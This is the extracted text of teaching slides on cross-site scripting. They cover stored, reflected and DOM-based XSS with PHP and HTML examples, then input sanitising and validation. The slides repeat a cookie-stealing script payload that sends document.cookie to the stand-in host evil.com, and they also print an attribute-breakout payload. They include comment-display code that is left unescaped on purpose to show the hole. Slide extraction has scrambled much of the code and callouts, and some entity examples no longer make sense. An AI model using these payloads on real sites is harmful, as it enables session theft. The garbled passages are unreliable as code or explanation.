Cross Site Scripting XSS CSS: Also Known As or
Cross Site Scripting XSS CSS: Also Known As or
Example1-XSS-basicScripts.html
CROSS SITE SCRIPTING
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSS shows script within HTML</title>
</head>
<body>
<script>
alert('This is Javascript within a script tag accessing cookies: ' + document.cookie);
</script>
</body>
</html>
COOKIE THEFT
KEYLOGGING
KEYLOGGING
Add a key event listener which
intercepts and logs all keystrokes and
sends them to the attacker’s ser ver
PHISHING
PHISHING
Insert a form into the DOM of the
trusted page and direct the results to
be submitted to the attacker’s server
Example2-XSS-addComment.php
Example2-XSS-displayComments.php
CROSS SITE SCRIPTING
Victim Attacker
Website
CROSS SITE SCRIPTING
Script attacker
wants to inject:
<script>
window.location = 'http://www.evil.com/?cookie=' + document.cookie;
</script>
Attacker CROSS SITE SCRIPTING
<script>
window.location = 'http://www.evil.com/?cookie=' + document.cookie;
</script>
<script>
window.location = 'http://www.evil.com/?cookie=' + document.cookie;
</script>
<script>
window.location = 'http://www.evil.com/?cookie=' + document.cookie;
</script>
Website
CROSS SITE SCRIPTING
Website
Name of website:
http://www.trustedsite.com
Website
Victim CROSS SITE SCRIPTING
Some Guy
if ($_SERVER["REQUEST_METHOD"] == "POST") {
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$user_name = $_POST['user_name'];
$user_comment = $_POST['user_comment'];
try {
The PHP script
processes the
$conn = getDatabaseConnection();
$stmt = $conn->prepare(
"INSERT INTO `Comments` (user_name, user_comment) VALUES (?, ?)"
username and
);
$stmt->bind_param("ss", $user_name, $user_comment);
$stmt->execute();
$stmt->close();
$conn->close();
if ($_SERVER["REQUEST_METHOD"] == "POST") {
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$user_name = $_POST['user_name'];
$user_comment = $_POST['user_comment'];
try {
$conn = getDatabaseConnection();
$stmt = $conn->prepare(
"INSERT INTO `Comments` (user_name, user_comment) VALUES (?, ?)"
sanitization or validation
$stmt->close();
$conn->close();
of the input!
} catch (Exception $e) {
echo 'Error! ' + $e->getCode();
}
}
CROSS SITE SCRIPTING
if ($_SERVER["REQUEST_METHOD"] == "POST") {
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$user_name = $_POST['user_name'];
$user_comment = $_POST['user_comment'];
try {
$conn = getDatabaseConnection();
$stmt = $conn->prepare(
"INSERT INTO `Comments` (user_name, user_comment) VALUES (?, ?)"
);
$stmt->bind_param("ss", $user_name, $user_comment);
$stmt->execute();
$stmt->close();
$conn->close();
database
}
}
CROSS SITE SCRIPTING
$conn = mysqli_connect($servername, $username, $password, $dbName) or
die("Connection failed: " . mysqli_connect_error());
if (mysqli_num_rows($result) > 0) {
echo '<table>';
echo '<td style="width: 100px; height: 22px">' . "<b>Username</b>" . '</td>';
echo '<td style="width: 250px; height: 44px">' . "<b>Comment</b>" . '</td>';
while($row = mysqli_fetch_assoc($result)) {
echo '<tr>';
echo '<td style="width: 100px; height: 18px">' . $row['user_name'] . '</td>';
echo '<td style="width: 150px; height: 18px">' . $row['user_comment'] . '</td>';
echo '</tr>';
}
echo '</table>';
} else {
echo "<br><br>No results match your search:-(";
}
CROSS SITE SCRIPTING
$conn = mysqli_connect($servername, $username, $password, $dbName) or
die("Connection failed: " . mysqli_connect_error());
if (mysqli_num_rows($result) > 0) {
echo '<table>';
echo '<td style="width: 100px; height: 22px">' . "<b>Username</b>" . '</td>';
echo '<td style="width: 250px; height: 44px">' . "<b>Comment</b>" . '</td>';
while($row = mysqli_fetch_assoc($result)) {
if (mysqli_num_rows($result) > 0) {
echo '<table>';
echo '<td style="width: 100px; height: 22px">' . "<b>Username</b>" . '</td>';
echo '<td style="width: 250px; height: 44px">' . "<b>Comment</b>" . '</td>';
while($row = mysqli_fetch_assoc($result)) {
echo '<tr>';
echo '<td style="width: 100px; height: 18px">' . $row['user_name'] . '</td>';
echo '<td style="width: 150px; height: 18px">' . $row['user_comment'] . '</td>';
echo '</tr>';
}
echo '</table>';
XSS successful!
TYPES OF XSS
TYPES OF XSS
There are broadly 3 types of
XSS attacks
1. Persistent XSS
2. Reflected XSS
3. DOM-based XSS
TYPES OF XSS
Persistent XSS
1. Persistent XSS
2. Reflected XSS
3. DOM-based XSS
TYPES OF XSS
Reflected XSS
http://www.trustedsearch.com/?
query='cute puppies'
TYPES OF XSS
Reflected XSS
http://www.trustedsearch.com/?
You searched for: cute puppies query='cute puppies'
http://www.trustedsearch.com/?query=<script>
window.location = 'http://www.evil.com/?cookie='
+ document.cookie; </script>
TYPES OF XSS
Reflected XSS
http://www.trustedsearch.com/?query=<script>
window.location = 'http://www.evil.com/?
cookie=' + document.cookie; </script>
1. Persistent XSS
2. Reflected XSS
3. DOM-based XSS
TYPES OF XSS
DOM-based XSS
<html>
<script>
var hash = window.location.hash;
document.getElementById(‘display-id’).innerHTML = hash;
</script>
<div id=“display-id”></div>
</html>
TYPES OF XSS
DOM-based XSS
<html>
<script>
var hash = window.location.hash;
document.getElementById(‘display-id’).innerHTML = hash;
</script>
<div id=“display-id”></div>
</html>
http://www.trustedsite.com#boo
TYPES OF XSS
DOM-based XSS
<html>
http://www.trustedsite.com#boo
<script>
var hash = window.location.hash;
document.getElementById(‘display-id’).innerHTML = hash;
</script>
<div id=“display-id”></div>
</html>
http://www.trustedsite.com#<script>
window.location='http://www.evil.com/?
cookie='+document.cookie;</script>
TYPES OF XSS
DOM-based XSS
<div><script>…</script></div>
color: userInput
MALICIOUS SCRIPT
"><script>...</script><input value="
http://www.trustedsite.com#boo
Or it’s possible
In that case your
that you have
server script e.g.
no code running
PHP should
on the client i.e.
perform all the
you do not use
Javascript
validation
SANITIZING INPUT
SANITIZING INPUT
WHETHER SOMETHING
WHICH REPRESENTS A
QUANTITY IS AN INTEGER
SANITIZING INPUT
Example3-XSS-sanitizingInput.php
SANITIZING INPUT
<br>
It basically goes to
<input type="radio" name="propertytype" value="house">House<br>
<br>
This is what is rendered on the
<input type="radio" name="propertytype" value="house">House<br>
<br>
Property Type:<br>
in the address bar?
<input type="text" name="phone"><br>
"><script>alert('hacked')</script>
becomes
"<script>alert(‘hacked')
</script>
SANITIZING INPUT
$input = htmlspecialchars($input);
Your app may need further
// Escapes html characters from input data
}
return $input;
checks to validate input, but
this is the first level sanitizing
that it makes sense to have
SANITIZING INPUT
function clean($input) {
// Trims whitespace from input
$input = trim($input);
// Removes slashes from input data
$input = stripslashes($input);
The trim() function
removes whitespace
// Typically you would use either strip_tags or htmlspecialchars
// depending on whether you want to remove the HTML characters
// or just neutralize it.
// Removes all the html tags from input data
$input = strip_tags($input);
before and after the
input string
// Escapes html characters from input data
$input = htmlspecialchars($input);
return $input;
}
SANITIZING INPUT
function clean($input) {
// Trims whitespace from input
$input = trim($input);
The stripslashes() function
// Removes slashes from input data
$input = stripslashes($input);
removes backslashes “\”
from a string, double
// Typically you would use either strip_tags or htmlspecialchars
// depending on whether you want to remove the HTML characters
// or just neutralize it.
$input = htmlspecialchars($input);
return $input;
replaced by a single one “\”
}
SANITIZING INPUT
function clean($input) {
There are 2 ways you might
// Trims whitespace from input
$input = trim($input);
// Removes slashes from input data
want to deal with HTML
tags in input
$input = stripslashes($input);
// Typically you would use either strip_tags or htmlspecialchars
// depending on whether you want to remove the HTML characters
// or just neutralize it.
// Removes all the html tags from input data
$input = strip_tags($input);
// Escapes html characters from input data
$input = htmlspecialchars($input);
return $input;
strip_tags() removes
the HTML characters
}
completely
SANITIZING INPUT
function clean($input) {
There are 2 ways you might
// Trims whitespace from input
$input = trim($input);
// Removes slashes from input data
want to deal with HTML
tags in input
$input = stripslashes($input);
// Typically you would use either strip_tags or htmlspecialchars
// depending on whether you want to remove the HTML characters
// or just neutralize it.
// Removes all the html tags from input data
$input = strip_tags($input);
// Escapes html characters from input data
$input = htmlspecialchars($input);
}
return $input;
htmlspecialchars()
converts special characters
to HTML entities
‘&’ becomes ‘&’ SANITIZING INPUT
‘<’ becomes ‘<’
‘>’ becomes ‘>’ htmlspecialchars()
converts special characters
function clean($input) {
// Trims whitespace from input
$input = trim($input);
to HTML entities
// Removes slashes from input data
$input = stripslashes($input);
// Typically you would use either strip_tags or htmlspecialchars
// depending on whether you want to remove the HTML characters
// or just neutralize it.
// Removes all the html tags from input data
$input = strip_tags($input);
// Escapes html characters from input data
$input = htmlspecialchars($input);
return $input;
These now become
}
safe to render in
HTML pages
SANITIZING INPUT
function clean($input) {
what we use!
// or just neutralize it.
// Removes all the html tags from input data
$input = strip_tags($input);
// Escapes html characters from input data
$input = htmlspecialchars($input);
return $input;
}
VALIDATING INPUT
VALIDATING INPUT
WHETHER SOMETHING
WHICH REPRESENTS A
QUANTITY IS AN INTEGER
CROSS SITE SCRIPTING
Example4-XSS-validatingInput.php
VALIDATING INPUT
invalid
<input type="submit" value="Submit">
</form>
VALIDATING INPUT
Phone number:
The $name_error_msg holds
<input type="text" name="email">
Example5-XSS-javascriptEncoding.html
CLIENT SIDE ENCODING
el[‘value’] = userInput
window.encodeURIComponent(userInput)
element.style.color = userInput
document.querySelector('a').href = “javascript:alert(\“hacked!\”)”
CLIENT SIDE ENCODING
document.querySelector('a').href = “javascript:alert(\“hacked!\”)”